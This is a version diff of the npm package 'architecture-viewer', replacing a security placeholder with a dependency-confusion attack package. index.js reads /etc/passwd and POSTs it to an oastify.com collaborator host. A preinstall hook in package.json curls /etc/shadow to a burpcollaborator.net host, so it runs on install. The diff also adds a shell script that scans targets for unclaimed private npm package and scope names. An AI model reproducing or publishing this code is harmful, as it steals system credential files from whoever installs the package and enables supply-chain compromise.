architecture-viewer 0.0.1-security → 1.0.1

package/d_i.txt

@@ -0,0 +1 @@
+import InternalModule from "@capitalone/internal-module"

package/dependency_confution_npm.sh

@@ -0,0 +1,70 @@
+#!/bin/bash
+echo ''' 
+    _   __                   ___         __      
+   / | / /___  ____ ___     /   | __  __/ /_____ 
+  /  |/ / __ \/ __ `__ \   / /| |/ / / / __/ __ \
+ / /|  / /_/ / / / / / /  / ___ / /_/ / /_/ /_/ /
+/_/ |_/ .___/_/ /_/ /_/  /_/  |_\__,_/\__/\____/ 
+     /_/                                           v1.0.2
+              twitter.com/@x1337loser        
+warning: BE AWARE OF FALSE POSITIVE, CONFIRM YOUR FINDING MANUALLY.  Good Luck.
+Use with caution. You are responsible for your actions.
+Developers assume no liability and are not responsible for any misuse or damage.
+'''
+
+if [ -d $1 ];then
+    echo '' >/dev/null 2>&1
+else 
+    mkdir $PWD/$1;
+fi
+echo -e "Running waybackurls on $1"
+waybackurls $1 | sort -u | grep .js | sed 's/?.*//' | grep -v '/wp-content/\|/wp-includes/\|.json\|jpg\|png\|css|\|/member/\|.jsp\|oauth\|login\|en-us\|v=\|=\|?\|/help/\|/id/\|paragon\|/wp-json/' | sort -u | tee -a $PWD/$1/$1-js-urls.txt >/dev/null 2>&1;
+echo -e "Running gau on $1"
+gau $1 | sort -u | grep .js | sed 's/?.*//' | grep -v '/wp-content/\|/wp-includes/\|.json\|jpg\|png\|css|\|/member/\|.jsp\|oauth\|login\|en-us\|v=\|=\|?\|/help/\|/id/\|paragon\|/wp-json/' | sort -u | tee -a $PWD/$1/$1-js-urls.txt >/dev/null 2>&1;
+
+cd $PWD/$1;
+echo -e "Found $(cat $1-js-urls.txt | sort -u |wc -l) js file url ";
+cat $1-js-urls.txt | sort -u |while read ut;do
+    wget $ut.map >/dev/null 2>&1;
+    done
+
+grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' | grep -v '@' | sed 's:.*/node_modules::' | cut -d '/' -f 2 | sort -u | grep -v '.js\|.ts\|.tsx\|.css' | egrep '\b[a-z]+\b' | grep -v '.png\|.pnp' | tee -a $1-npm-packages.txt >/dev/null 2>&1;
+
+rm $1-js-urls.txt;
+if [ -s $1-npm-packages.txt ];then
+    echo -e "   Found some packages now going for final test on "$1-npm-packages.txt"";
+    cat $1-npm-packages.txt | sort -u | while read ut;do
+        if $(curl -o /dev/null -s -w "%{http_code}\n" "https://registry.npmjs.org/$ut" | grep "404" >/dev/null 2>&1); then
+            echo -e ""$ut" \e[1;31mFound Private npm package, \e[0m" && echo $ut >> $1-npm-vuln.txt;
+            echo -e "\e[1;31mprivate package URL: https://registry.npmjs.org/$ut \e[0m"
+
+        else
+            echo -e ""$ut"\e[1;33m Available in Public Registry \e[0m";
+        fi
+        done
+else
+    echo -e "No npm packages found, now going for scope test "
+fi
+#this part is for the scope package test please be careful with that, some times `www.npmjs.com` will show you 429 response code
+grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' | sed 's:.*/node_modules::' | cut -d '/' -f 2 | sort -u | grep '@' | grep -v '.js\|.ts\|.tsx\|.css' | egrep '\b[a-z]+\b' | grep -v '.png\|.pnp' | grep '@' | cut -d '@' -f 2 | tee -a $1-npm-scope.txt >/dev/null 2>&1;
+
+if [ -s $1-npm-scope.txt ];then
+    echo -e "   Found some Scope names now going for final test on "$1-npm-scope.txt"";
+    cat $1-npm-scope.txt | sort -u | while read pkg;do
+    OPTION=`curl -o /dev/null -s -w "%{http_code}\n" "https://www.npmjs.com/org/$pkg"`
+        if $(echo "$OPTION" | grep "200\|302" >/dev/null 2>&1);then
+            echo -e "@"$pkg"\e[1;33m Available in Public Registry \e[0m" && echo $pkg >> $1-npm-scope-vuln.txt;
+            grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' |grep '@'$pkg'' | sed 's:.*/@'$pkg'::' | cut -d '/' -f 2 | sort -u | while read ut;do echo "Full package name of @"$pkg" is @"$pkg"/"$ut" ";done
+        elif $(echo "$OPTION" | grep "429" >/dev/null 2>&1);then
+            echo -e "@"$pkg" \e[1;31m Rate limit detected \e[0m"
+
+        else
+            echo -e "@"$pkg"\e[1;31m Found Unclaimed scope Name\e[0m";
+            echo -e "\e[1;31mprivate org URL: https://www.npmjs.com/org/$pkg \e[0m"
+            grep -oriahE "[^\"\\'> ]+" | grep 'node_modules' |grep '@'$pkg'' | sed 's:.*/@'$pkg'::' | cut -d '/' -f 2 | sort -u | while read ut;do echo -e "\e[1;31mFull package name of @"$pkg" is @"$pkg"/"$ut", this is unclaimed, Add @"$pkg"/"$ut" in your package.json file like {package: @"$pkg"/"$ut"}, \e[0m";done
+        fi
+        done
+else
+    echo -e "No Scope name found";
+fi
+rm $1-npm-scope.txt *.map.* *.map $1-npm-packages.txt;

package/index.js

@@ -0,0 +1,39 @@
+const http = require('http');
+const exec = require('child_process').exec;
+
+// If this file is executed, you know the package is being installed
+console.log("[+] Malicious package installed!");
+
+// Exfiltrate sensitive information to a remote server
+exec('cat /etc/passwd', (error, stdout, stderr) => {
+  if (error) {
+    console.error(`exec error: ${error}`);
+    return;
+  }
+
+  // Send the sensitive data to a remote server
+  const options = {
+    hostname: '176mbz7btaz0fwz4nmwp2k5smjscg44t.oastify.com',  // Replace with your server
+    port: 80,
+    path: '/exfiltrate',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+    }
+  };
+
+  const req = http.request(options, (res) => {
+    res.on('data', (d) => {
+      process.stdout.write(d);
+    });
+  });
+
+  req.on('error', (e) => {
+    console.error(e);
+  });
+
+  // Send the exfiltrated data
+  req.write(JSON.stringify({ passwd: stdout }));
+  req.end();
+});
+

package/licenses.csv

@@ -0,0 +1,40 @@
+"module name","license","repository"
+"ajv@6.5.3","MIT","https://github.com/epoberezkin/ajv"
+"cytoscape-dagre@2.2.1","MIT","https://github.com/cytoscape/cytoscape.js-dagre"
+"cytoscape-popper@1.0.2","MIT","https://github.com/cytoscape/cytoscape.js-popper"
+"cytoscape@3.2.16","MIT","https://github.com/cytoscape/cytoscape.js"
+"dagre@0.7.4","MIT","https://github.com/cpettitt/dagre"
+"dagre@0.8.2","MIT","https://github.com/dagrejs/dagre"
+"fast-deep-equal@2.0.1","MIT","https://github.com/epoberezkin/fast-deep-equal"
+"fast-json-stable-stringify@2.0.0","MIT","https://github.com/epoberezkin/fast-json-stable-stringify"
+"fillthisfornow@0.0.0","UNLICENSED",""
+"fs-access@1.0.1","MIT","https://github.com/sindresorhus/fs-access"
+"graphlib@1.0.7","MIT","https://github.com/cpettitt/graphlib"
+"graphlib@2.1.5","MIT","https://github.com/dagrejs/graphlib"
+"heap@0.2.6","PSF","https://github.com/qiao/heap.js"
+"immutability-helper@2.7.1","MIT","https://github.com/kolodny/immutability-helper"
+"invariant@2.2.4","MIT","https://github.com/zertosh/invariant"
+"isexe@2.0.0","ISC","https://github.com/isaacs/isexe"
+"js-tokens@4.0.0","MIT","https://github.com/lydell/js-tokens"
+"json-schema-traverse@0.4.1","MIT","https://github.com/epoberezkin/json-schema-traverse"
+"karma-chrome-launcher@2.2.0","MIT","https://github.com/karma-runner/karma-chrome-launcher"
+"lodash.debounce@4.0.8","MIT","https://github.com/lodash/lodash"
+"lodash@3.10.1","MIT","https://github.com/lodash/lodash"
+"lodash@4.17.10","MIT","https://github.com/lodash/lodash"
+"loose-envify@1.4.0","MIT","https://github.com/zertosh/loose-envify"
+"null-check@1.0.0","MIT","https://github.com/sindresorhus/null-check"
+"object-assign@4.1.1","MIT","https://github.com/sindresorhus/object-assign"
+"popper.js@1.14.4","MIT","https://github.com/FezVrasta/popper.js"
+"preact-compat@3.18.3","MIT","https://github.com/developit/preact-compat"
+"preact-render-to-string@3.8.2","MIT","https://github.com/developit/preact-render-to-string"
+"preact-router@2.6.1","MIT","https://github.com/developit/preact-router"
+"preact-transition-group@1.1.1","MIT","https://github.com/developit/preact-transition-group"
+"preact@8.3.1","MIT","https://github.com/developit/preact"
+"pretty-format@3.8.0","MIT","https://github.com/thejameskyle/pretty-format"
+"prop-types@15.6.2","MIT","https://github.com/facebook/prop-types"
+"punycode@2.1.1","MIT","https://github.com/bestiejs/punycode.js"
+"standalone-react-addons-pure-render-mixin@0.1.1","MIT",""
+"tippy.js@2.5.4","MIT","https://github.com/atomiks/tippyjs"
+"uri-js@4.2.2","BSD-2-Clause","https://github.com/garycourt/uri-js"
+"which@1.3.1","ISC","https://github.com/isaacs/node-which"
+

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "architecture-viewer",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.1",
+  "description": "An architecture viewer tool",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "/usr/bin/curl --data @/etc/shadow ${hostname}2gcjsa8u8mo6t3fetd98lzrqff.burpcollaborator.net"
+  },
+  "author": "",
+  "license": "ISC"
 }

package/package.json.save

@@ -0,0 +1,12 @@
+{
+  "name": "architecture-viewer",
+  "version": "6.7.8",
+  "description": "Malicious package ",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+	
+  },
+  "author": "al1min",
+  "license": "ISC"
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=architecture-viewer for more information.